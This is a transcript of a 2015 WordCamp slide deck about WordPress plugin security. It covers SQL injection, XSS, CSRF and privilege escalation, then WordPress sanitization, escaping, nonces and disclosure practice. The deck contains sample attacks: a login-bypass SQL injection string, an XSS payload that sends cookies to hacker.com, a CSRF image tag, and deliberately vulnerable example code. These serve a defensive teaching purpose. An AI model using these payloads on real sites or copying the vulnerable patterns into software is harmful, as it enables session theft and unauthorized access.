Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Dave Jesch- OC WordCamp 2015- Plugin Vulnerabilities

Dave Jesch- OC WordCamp 2015- Plugin Vulnerabilities

Prevention is the key to plugin vulnerabilities! Learn what to look for in your own code to help safeguard from potential issues. A step-by-step guide will be provided on how to avoid vulnerabilities and make your code more secure. With the generosity of popular plugin authors, we will review some recent vulnerabilities found, share how they fixed the problems and discuss the best methods for getting the word out about your plugin once it’s been securely updated. Yes, there will be code.

SpectrOMTech

June 06, 2015
Tweet

More Decks by SpectrOMTech

Other Decks in Technology

Transcript

  1. © 2015 Dave Jesch and SpectrOMtech.com. by Dave Jesch Orange

    County WordCamp - June 6, 2015 Plugin Vulnerabilities How to Secure Your Code
  2. © 2015 Dave Jesch and SpectrOMtech.com. Dave Jesch, Lifetime Geek

    & CTO @ • Custom Plugins • B2B Portal Integration • Everything eCommerce .com OOP Scalability
  3. © 2015 Dave Jesch and SpectrOMtech.com. What is a Vulnerability?

    A weakness which allows an attacker to reduce a system's information assurance. An intersection of three elements: 1. A system susceptibility or flaw 2. Attacker access to the flaw 3. Attacker's capability to exploit the flaw
  4. © 2015 Dave Jesch and SpectrOMtech.com. Types of Vulnerabilities 1.

    SQL Injection 2. Cross Site Scripting (XSS) 3. Cross Site Request Forgery (CSRF) 4. Privilege Escalation
  5. © 2015 Dave Jesch and SpectrOMtech.com. SQL Injection: Inserting malicious

    SQL statements into forms for execution. Allows hacker to perform operations they otherwise would be unable to do.
  6. © 2015 Dave Jesch and SpectrOMtech.com. SQL Injection - Example

    Form: Server Side Script: Enter login: <input type="text" name="username" /><br/> Enter password: <input type="password" name="pass" /> $sql = "SELECT id,username WHERE username='" . $_POST['username'] . " AND password='" . $_POST['pass'] . "'";
  7. © 2015 Dave Jesch and SpectrOMtech.com. SQL Injection - The

    Attack Hacker enters: You get: Enter login: Enter password: $sql = "SELECT id,username WHERE username='admin' AND password='' OR '0'='0' "; admin ' OR '0'='0
  8. © 2015 Dave Jesch and SpectrOMtech.com. Woo Commerce File: includes/class-wc-tax.php

    line 793: private static function _update_tax_rate_locations( $tax_rate_id, $values, $type ) { global $wpdb; + $tax_rate_id = absint( $tax_rate_id ); $wpdb->query( $wpdb->prepare( " DELETE FROM {$wpdb->prefix}woocommerce_tax_rate_locations WHERE tax_rate_id = %d AND location_type = %s;", $tax_rate_id, $type ) ); if ( sizeof( $values ) > 0 ) { $sql = "( '" . implode( "', $tax_rate_id, '" . esc_sql( $type ) . "' ),( '", array_map( 'esc_sql', $values ) ) . "', $tax_rate_id, '" . esc_sql( $type ) . "' )"; $wpdb->query( " INSERT INTO {$wpdb->prefix}woocommerce_tax_rate_locations ( location_code, tax_rate_id, location_type ) VALUES $sql;" ); } }
  9. © 2015 Dave Jesch and SpectrOMtech.com. Cross Site Scripting: Injecting

    code (usually Javascript) into page content to manipulate client side behavior. Targets client side, not server side.
  10. © 2015 Dave Jesch and SpectrOMtech.com. Cross Site Scripting -

    Example Form: Generate Content: Enter Twitter Name: <input type="text" name="twittername" /> <p>User's Twitter Name: @<?php echo $twittername; ?></p>
  11. © 2015 Dave Jesch and SpectrOMtech.com. Cross Site Scripting -

    Attack Hacker enters: You get: Enter Twitter Name: <p>User’s Twitter Name: @<SCRIPT>var img=new Image();img.src="http://hacker.com/" + document.cookie;</SCRIPT></p> <SCRIPT>var+img=new+Image();img.src="http://hacker.com/"%20%2B%20document.cookie;</SCRIPT>
  12. © 2015 Dave Jesch and SpectrOMtech.com. WordPress Core v4.2.1 File:

    wp-admin/includes/dashboard.php line 518: function _wp_dashboard_recent_comments_row( &$comment, $show_date = true ) { $GLOBALS['comment'] =& $comment; $comment_post_title = strip_tags(get_the_title( _draft_or_post_title( $comment->comment_post_ID ) ); File: wp-admin/includes/class-wp-comments-list-table.php line 555: if ( current_user_can( 'edit_post', $post->ID ) ) { $post_link .= esc_html( get_the_title( $post->ID ) ) . '</a>'; } else { $post_link .= esc_html( get_the_title( $post->ID ) ); } File: wp-admin/includes/template.php line 1504: function _draft_or_post_title( $post = 0 ) { $title = get_the_title( $post ); if ( empty( $title ) ) $title = __( '(no title)' ); return esc_html( $title ); https://blog.sucuri.net/2015/04/security-advisory-xss-vulnerability-affecting-multiple-wordpress-plugins.html
  13. © 2015 Dave Jesch and SpectrOMtech.com. Give File: includes/admin/admin-notices line

    79: function give_admin_messages() { ... if ( ! give_test_ajax_works() ) { echo '<div class="error">'; echo '<p>' . __( 'Your site appears to be blocking the WordPress ajax interface. This may causes issues with Give.', 'give' ) . '</p>'; echo '<p><a href="' . esc_url( add_query_arg( array( 'give_action' => 'dismiss_notices', 'give_notice' => 'admin_ajax_inaccessible' ) ) ) . '">' . __( 'Dismiss Notice', 'give' ) . '</a></p>'; echo '</div>'; } https://wordimpress.com/how-open-source-benefits-web-security/ https://blog.sucuri.net/2015/04/security-advisory-xss-vulnerability-affecting-multiple-wordpress-plugins.html
  14. © 2015 Dave Jesch and SpectrOMtech.com. Cross Site Request Forgery:

    Force victim’s browser to send forged HTTP request to server. Request can contain cookies and other state information. Allows attacker to force victim’s browser to generate requests the app thinks are legitimate.
  15. © 2015 Dave Jesch and SpectrOMtech.com. Cross Site Request Forgery

    - Example Form: Generate Content: Enter Product Review: <textarea name="reviewcomments" /></textarea> <p>User's Review: <?php echo $reviewcomments; ?></p>
  16. © 2015 Dave Jesch and SpectrOMtech.com. Cross Site Request Forgery-

    Attack Form: You get: If the user is logged in, request sends client’s session and authorization data with the request to add to cart. Enter Review: <p>User's Review: <img src="http://domain.com/buy.php?productID=99&quantity=100" /></p> <img src="http://domain.com/buy.php?productID=99&quantity=100"/>
  17. © 2015 Dave Jesch and SpectrOMtech.com. Privilege Escalation: Exploiting a

    bug, design flaw or configuration oversight in an operating system or software application to gain elevated access.
  18. © 2015 Dave Jesch and SpectrOMtech.com. WP All Import AJAX

    request validation in admin_init that can be exploited to run methods of the PMXI_Controller_Admin class even without being logged in as a site admin File: actions/wp_ajax_auto_detect_cf.php line 2: function pmxi_wp_ajax_auto_detect_cf(){ if ( ! check_ajax_referer( 'wp_all_import_secure', 'security', false )){ exit( json_encode(array('result' => array(), 'msg' => __('Security check', 'wp_all_import_plugin'))) ); } File: controllers/controller.php line 64: protected function render($viewPath = null) { if ( ! get_current_user_id() or ! current_user_can('manage_options')) { // This nonce is not valid. die( 'Security check' ); } else { File: plugin.php line 431 (in ‘admin_init’ callback): if ( ! get_current_user_id() or ! current_user_can('manage_options')) { // This nonce is not valid. die( 'Security check' ); } else {
  19. © 2015 Dave Jesch and SpectrOMtech.com. Prevention #1: Trust No

    One! If it comes from a user (any user!) - it's not trustworthy Validate everything! http://codex.wordpress.org/Data_Validation. - validate early - use PHP’s intval() or absint() for integer input. $x = intval($_POST['userdata']); - use is_email() for email addresses. - wp_kses() – remove unwanted HTML tags from content. - use validate_file() for file names. - verify range and type of data if needed
  20. © 2015 Dave Jesch and SpectrOMtech.com. Prevention #2: Sanitize Everything!

    Sanitize before using or storing in database - sanitize_email() – cleans up email addresses; passes content through ‘sanitize_email’ filter - sanitize_file_name() – cleans file name; uses filter to limit character set and content - sanitize_html_class() – cleans strings for use as HTML class; uses ‘sanitize_html_class’ filter - sanitize_key() – cleans key strings; allows lowercase alphanumeric '-' and '_'; convert upper to lower case - sanitize_meta() – cleans by applying filters; 'sanitize_user_meta-{$key}' filters do all the work - sanitize_option() – cleans option values; uses 'sanitize_option_$option' filter - sanitize_post_field() – cleans post field based on context; uses several different filters - sanitize_text_field() – sanitize user input; strip tags; remove line breaks tabs, etc.; strips octets - sanitize_title() – used on post slugs; accented characters are swapped; hyphens substituted for spaces - wp_filter_nohtml_kses() remove all HTML tags within content https://codex.wordpress.org/Validating_Sanitizing_and_Escaping_User_Data
  21. © 2015 Dave Jesch and SpectrOMtech.com. Prevention #3: Escape Everything!

    Escape data just before output. Use the proper escape method for the part of the HTML document where you’re placing HTML data. - Escaping for XSS protection: esc_attr(), esc_attr__() and esc_attr_e() echo '<input type="text" name="fname" value="', esc_attr($_POST['fname']), '">'; - Escaping HTML content: esc_html(), esc_html__() and esc_html_e() $html = esc_html( '<a href="http://www.example.com/">A link</a>' ); // outputs: '&lt;a href=&quot;http://www.example.com/&quot;&gt;A link&lt;/a&gt;' - esc_js() – for use in Javascript data; escapes single quotes, special characters, < >, and &; fixes line endings. - esc_textarea() – encodes text within <textarea> tags. - esc_url() – can be used with add_query_arg() for displaying urls in links, etc. - esc_url_raw() – used for database queries, redirects and HTTP requests https://codex.wordpress.org/Validating_Sanitizing_and_Escaping_User_Data
  22. © 2015 Dave Jesch and SpectrOMtech.com. Prevention #4: Escaping all

    SQL! Escape all content used in SQL statements - esc_sql() – prepares string for use in SQL statements. $sql = "UPDATE `table` SET column='" . esc_sql( $_POST['data'] ) . "'"; - Better yet, use: $wpdb->prepare($sql[, $value[, $value...]]) – prepare data for SQL - $wpdb->insert($table, $data[, $format]); – inserts data into $table - $wpdb->update($table, $data, $where[, ...]) – updates data in $table. - $wpdb->esc_like() – sanitize string used in SQL LIKE expressions https://codex.wordpress.org/Class_Reference/wpdb
  23. © 2015 Dave Jesch and SpectrOMtech.com. Prevention #5: Validate User/Session!

    Verify that the user is logged in. This includes AJAX requests to the admin. - is_user_logged_in() - checks that the user is logged in - current_user_can() - checks that the user’s role allows a specific action Verify form contents with Nonces - wp_create_nonce() – creates nonce value - wp_nonce_url() – create URL with nonce added to URL query - wp_nonce_field() – creates a nonce <input> field within form. - check_admin_referer() , check_ajax_referer() – verify where the request came from. - wp_verify_nonce() – verifies nonce used in form post data. http://codex.wordpress.org/WordPress_Nonces
  24. © 2015 Dave Jesch and SpectrOMtech.com. If you do nothing

    else! - Validate everything on input – for data type, length and range. - Escape everything on output. - Don’t write your own escaping/validation methods. - Use the sanitizing functions provided. Most of them employ filters that other plugins can use. - Never, ever, ever trust user input. This includes admin users, cookies and data from other APIs/services
  25. © 2015 Dave Jesch and SpectrOMtech.com. You updated your code

    Now What? First step: Update your theme / plugin Get the word out If it’s a serious vulnerability: Be honest about the nature of the update [email protected] They will work with plugin authors and, if they deem necessary will force an update of the plugin / theme Less Serious Post in your support forum Blog Post WordPress groups Contact known users
  26. © 2015 Dave Jesch and SpectrOMtech.com. Vulnerability in other Author’s

    Code Responsible Disclosure or "Coordinated Exposure" - Every company/developer is different - Ask before you disclose vulnerabilities - Alert Vender First! - Work with the Vendor - Some vendors will pay a "bounty" for Vulnerabilities
  27. © 2015 Dave Jesch and SpectrOMtech.com. GitHub’s Bounty Program GitHub

    provides a "bug bounty" to better engage with security researchers. The idea is simple: hackers and security researchers (like you) find and report vulnerabilities through our responsible disclosure process. Then, to recognize the significant effort that these researchers often put forth when hunting down bugs, we reward them with some cold hard cash. https://bounty.github.com/ https://hackerone.com/automattic
  28. © 2015 Dave Jesch and SpectrOMtech.com. Participate on GitHub GitHub

    Repo http://github.com/spectrom/spectrom-db-cleanup
  29. © 2015 Dave Jesch and SpectrOMtech.com. Further Reading Slides: http://SpectrOMtech.com/presentations/ocwc2015/

    Guide to Writing Secure Themes https://make.wordpress.org/themes/2015/05/19/a-guide-to-writing-secure-themes-part-1- introduction/ Common Vulnerabilities and Exposures: http://en.wikipedia.org/wiki/Common_Vulnerabilities_and_Exposures Common Vulnerability Scoring System http://en.wikipedia.org/wiki/CVSS XSS Attack Examples http://www.thegeekstuff.com/2012/02/xss-attack-examples/ @davejesch